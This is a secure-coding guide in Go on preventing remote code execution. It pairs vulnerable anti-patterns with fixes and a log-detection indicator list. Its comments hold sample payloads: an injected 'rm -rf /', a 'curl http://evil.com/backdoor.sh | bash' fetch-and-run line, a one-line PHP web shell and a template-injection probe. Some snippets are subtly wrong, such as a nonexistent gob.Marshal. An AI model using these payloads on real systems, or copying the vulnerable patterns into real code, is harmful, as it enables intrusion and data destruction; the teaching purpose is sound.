Remote Code Execution #

// ANTI-PATTERN 1: shell=True with user input — very dangerous
func pingHostUnsafe(hostname string) string {
    // If hostname = "google.com; rm -rf /"
    // The command becomes: ping google.com; rm -rf /
    out, _ := exec.Command("sh", "-c", fmt.Sprintf("ping -c 4 %s", hostname)).Output()
    return string(out)
}

// ANTI-PATTERN 2: os.system with user input
func processImageUnsafe(filename string) {
    // If filename = "image.jpg; curl http://evil.com/backdoor.sh | bash"
    exec.Command("sh", "-c", fmt.Sprintf("convert %s output.png", filename)).Run()
}

// CORRECT: use list arguments, don't invoke the shell
func pingHostSafe(hostname string) (string, error) {
    // Validate the hostname first
    if !hostnameRegex.MatchString(hostname) {
        return "", errors.New("invalid hostname")
    }

    // Use a list — each argument is one separate unit
    // The shell isn't invoked, no metacharacter parsing
    ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
    defer cancel()
    out, err := exec.CommandContext(ctx, "ping", "-c", "4", hostname).Output()
    if err != nil {
        return "", err
    }
    return string(out), nil
}

// CORRECT for image processing: use a library, not shell commands
func processImageSafe(filePath string) error {
    // Use an image library (e.g. golang.org/x/image), not a shell command
    img, err := openImage(filePath)
    if err != nil {
        return err
    }
    return saveImageAsJPEG(img, "output.jpg")
}

// Go has no eval — the equivalent danger is compiling/executing
// dynamic code or invoking interpreters with user input.
// ANTI-PATTERN: running user input through an interpreter or plugin loader
func calculateUnsafe(expression string) any {
    // e.g. executing a script through an embedded interpreter
    // result := interpreter.Eval(expression)  // arbitrary code execution!
    return nil
}

// Unsafe template strings
func renderTemplateUnsafe(template string, userData map[string]any) string {
    // If template = "{user.__class__.__mro__[1].__subclasses__()}"
    // naive string replacement can reach internal state
    return naiveFormat(template, userData)
}

// CORRECT: never execute user input.
// For math calculations: use a safe expression parser (e.g. govaluate)
// or a small recursive-descent parser that only accepts numbers and + - * /
func safeEvalMath(expression string) (float64, error) {
    p := &mathParser{s: expression}
    v, err := p.parseExpr()
    if err != nil {
        return 0, errors.New("invalid expression")
    }
    if p.pos != len(p.s) {
        return 0, errors.New("invalid expression")
    }
    return v, nil
}

// safeEvalMath("2 + 3 * 4") → 14
// safeEvalMath("__import__('os')") → error (only numbers and operators)

// ANTI-PATTERN: deserializing user data with a native binary format
func processData(data []byte) {
    // encoding/gob (and gob-like formats) reconstruct arbitrary objects
    // from bytes — with attacker-controlled data this can trigger
    // unexpected behavior during decoding
    var obj any
    if err := gob.NewDecoder(bytes.NewReader(data)).Decode(&obj); err != nil {
        return
    }
    process(obj)
}

// CORRECT: use formats safe from user input
func parseConfigSafe(jsonString string) (map[string]any, error) {
    // JSON can't execute code during parsing
    // But still validate the schema after parsing
    var data map[string]any
    if err := json.Unmarshal([]byte(jsonString), &data); err != nil {
        return nil, errors.New("invalid JSON format")
    }

    // Validate the schema
    if err := validateConfigSchema(data); err != nil {
        return nil, err
    }
    return data, nil
}

// If a binary format must be used (internal only, not from users):
// Sign the data before storing, verify the signature before loading
func safeSerialize(obj any) ([]byte, error) {
    data, err := gob.Marshal(obj)
    if err != nil {
        return nil, err
    }
    mac := hmac.New(sha256.New, []byte(secretKey))
    mac.Write(data)
    sig := mac.Sum(nil)
    return append(sig, data...), nil
}

func safeDeserialize(signedData []byte) (any, error) {
    sig, data := signedData[:32], signedData[32:]
    mac := hmac.New(sha256.New, []byte(secretKey))
    mac.Write(data)
    if !hmac.Equal(sig, mac.Sum(nil)) {
        return nil, errors.New("data has been tampered with")
    }
    var obj any
    if err := gob.NewDecoder(bytes.NewReader(data)).Decode(&obj); err != nil {
        return nil, err
    }
    return obj, nil
}

// ANTI-PATTERN: storing uploads in the web root and serving them directly
func uploadFile(w http.ResponseWriter, r *http.Request) {
    file, header, _ := r.FormFile("file")
    defer file.Close()
    // Store directly in a publicly accessible folder
    os.WriteFile("/var/www/html/uploads/"+header.Filename, readAll(file), 0o644)
    json.NewEncoder(w).Encode(map[string]string{"url": "/uploads/" + header.Filename})
}

// Attackers upload a file named "shell.php" with the content:
// <?php system($_GET['cmd']); ?>
// Then access: /uploads/shell.php?cmd=whoami
// → The server runs the command as the web user

// CORRECT: secure file uploads
var uploadDir = "/var/uploads" // OUTSIDE the web root!
var allowedMimeTypes = map[string]string{
    "image/jpeg": ".jpg", "image/png": ".png",
    "image/gif": ".gif", "image/webp": ".webp",
}

func uploadFileSafe(w http.ResponseWriter, r *http.Request) {
    file, header, err := r.FormFile("file")
    if err != nil {
        json.NewEncoder(w).Encode(map[string]string{"error": "No file provided"})
        w.WriteHeader(400)
        return
    }
    defer file.Close()

    // 1. Validate the MIME type from file content
    buf := make([]byte, 2048)
    n, _ := file.Read(buf)
    detectedMime := http.DetectContentType(buf[:n])

    ext, ok := allowedMimeTypes[detectedMime]
    if !ok {
        json.NewEncoder(w).Encode(map[string]string{"error": "File type not allowed: " + detectedMime})
        w.WriteHeader(400)
        return
    }

    // 2. Generate a new safe filename — never use the user's name
    safeFilename := randomHex(16) + ext

    // 3. Store outside the web root
    savePath := filepath.Join(uploadDir, safeFilename)
    full, _ := io.ReadAll(file)
    os.WriteFile(savePath, full, 0o600)

    // 4. Store metadata in the database (a reference to the file)
    dbFile := UploadedFile.Create(map[string]any{
        "user_id":       currentUser.ID,
        "filename":      safeFilename,
        "original_name": header.Filename[:255],
        "mime_type":     detectedMime,
        "size":          len(full),
    })

    json.NewEncoder(w).Encode(map[string]string{"file_id": dbFile.ID})
    w.WriteHeader(201)
}

// 5. Serve files through an access-validating endpoint
func serveFile(w http.ResponseWriter, r *http.Request, fileID int) {
    dbFile := UploadedFile.GetOr404(fileID)

    // Validate access
    if dbFile.UserID != currentUser.ID {
        http.Error(w, "Forbidden", 403)
        return
    }

    // Serve the file directly (not a redirect to the physical path)
    http.ServeFile(w, r, filepath.Join(uploadDir, dbFile.Filename))
}

// ANTI-PATTERN: templates from user input
func renderTemplateUnsafe(w http.ResponseWriter, r *http.Request) {
    templateStr := r.URL.Query().Get("template")

    // If the template = "{{7*7}}" → the server computes and returns "49"
    // This confirms a vulnerable SSTI!

    // html/template parses from strings — with user input this is dangerous
    t, _ := template.New("t").Parse(templateStr) // DANGEROUS
    t.Execute(w, nil)
}

// CORRECT: templates from files, not from users
func renderTemplateSafe(w http.ResponseWriter, r *http.Request) {
    // Templates live in a developer-controlled filesystem
    // Users can only choose from existing templates
    templateName := r.URL.Query().Get("template")
    if templateName == "" {
        templateName = "default"
    }

    // Whitelist the allowed templates
    allowedTemplates := map[string]bool{"welcome": true, "confirmation": true, "invoice": true}
    if !allowedTemplates[templateName] {
        templateName = "default"
    }

    // Render an existing template (parsed at startup from the filesystem)
    templates.ExecuteTemplate(w, "emails/"+templateName+".html", currentUser)
}

// If users need content customization (not templates):
// Provide specific placeholders, not a full template engine
func customizeEmail(w http.ResponseWriter, r *http.Request) {
    templateName := "confirmation"

    // Users can only fill specific placeholders
    userMessage := r.FormValue("message")

    // Escape the user message before inserting it into the template
    safeMessage := template.HTMLEscapeString(userMessage)

    // renderTemplate(w, "emails/"+templateName+".html",
    //     map[string]any{"user_message": safeMessage}) // an escaped string, not a template
}

// Patterns indicating RCE attempts in logs
var rceIndicators = []string{
    // Command injection patterns
    ";", "&&", "||", "|", "`", "$(",
    "bash", "sh", "cmd.exe", "powershell",
    "/bin/", "/etc/passwd", "/etc/shadow",
    "whoami", "id", "uname", "cat /etc",

    // SSTI patterns
    "{{", "}}", "${", "#{",
    "__class__", "__mro__", "__subclasses__",

    // Path traversal (can lead to RCE)
    "../", `..\`, "%2e%2e",

    // Encoded null bytes
    "%00", "\x00",
}

func detectRCEAttempt(requestData string) bool {
    lowerData := strings.ToLower(requestData)
    for _, indicator := range rceIndicators {
        if strings.Contains(lowerData, strings.ToLower(indicator)) {
            return true
        }
    }
    return false
}

// Middleware that monitors requests
func monitorRequests(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // Monitor query parameters
        for param, value := range r.URL.Query() {
            for _, v := range value {
                if detectRCEAttempt(v) {
                    securityLogger.Warn("Potential RCE attempt detected",
                        "ip", r.RemoteAddr,
                        "path", r.URL.Path,
                        "param", param,
                        "value", truncate(v, 200), // limit the log length
                        "user_id", currentUserID(r),
                        "user_agent", r.UserAgent(),
                    )
                    // Optional: add to a watchlist for stricter monitoring
                }
            }
        }
        next.ServeHTTP(w, r)
    })
}

// ✗ Anti-pattern 1: shell command with user input
exec.Command("sh", "-c", fmt.Sprintf("convert %s output.jpg", userFilename)).Run()
// ✓ Solution: list arguments + input validation + use libraries

// ✗ Anti-pattern 2: executing user input as code
// Go has no eval — the danger is passing user input to an embedded interpreter
// ✓ Solution: never execute user input — use a safe parser if calculations are needed

// ✗ Anti-pattern 3: gob.Unmarshal from user input
gob.NewDecoder(bytes.NewReader(requestBody)).Decode(&obj)
// ✓ Solution: use JSON from users, sign binary data for internal use

// ✗ Anti-pattern 4: file uploads in the web root without MIME validation
os.WriteFile("/var/www/html/uploads/"+filename, content, 0o644)
// ✓ Solution: store outside the web root, validate MIME from content, generate new names

// ✗ Anti-pattern 5: template engines from user input
template.New("t").Parse(userTemplate) // DANGEROUS
// ✓ Solution: templates from the filesystem, users only choose from a whitelist

// ✗ Anti-pattern 6: dependencies never audited
// go.mod with no version pins / never running govulncheck
// ✓ Solution: pin versions, scan CVEs in CI, enable Dependabot

// ✗ Anti-pattern 7: applications running as root
// USER root in Dockerfiles (the default if not set)
// ✓ Solution: create a dedicated user, run as non-root

// ✗ Anti-pattern 8: uploaded files directly accessible via URLs
// GET /uploads/shell.php → the web server executes PHP
// ✓ Solution: serve files through the application with validation, not directly via web servers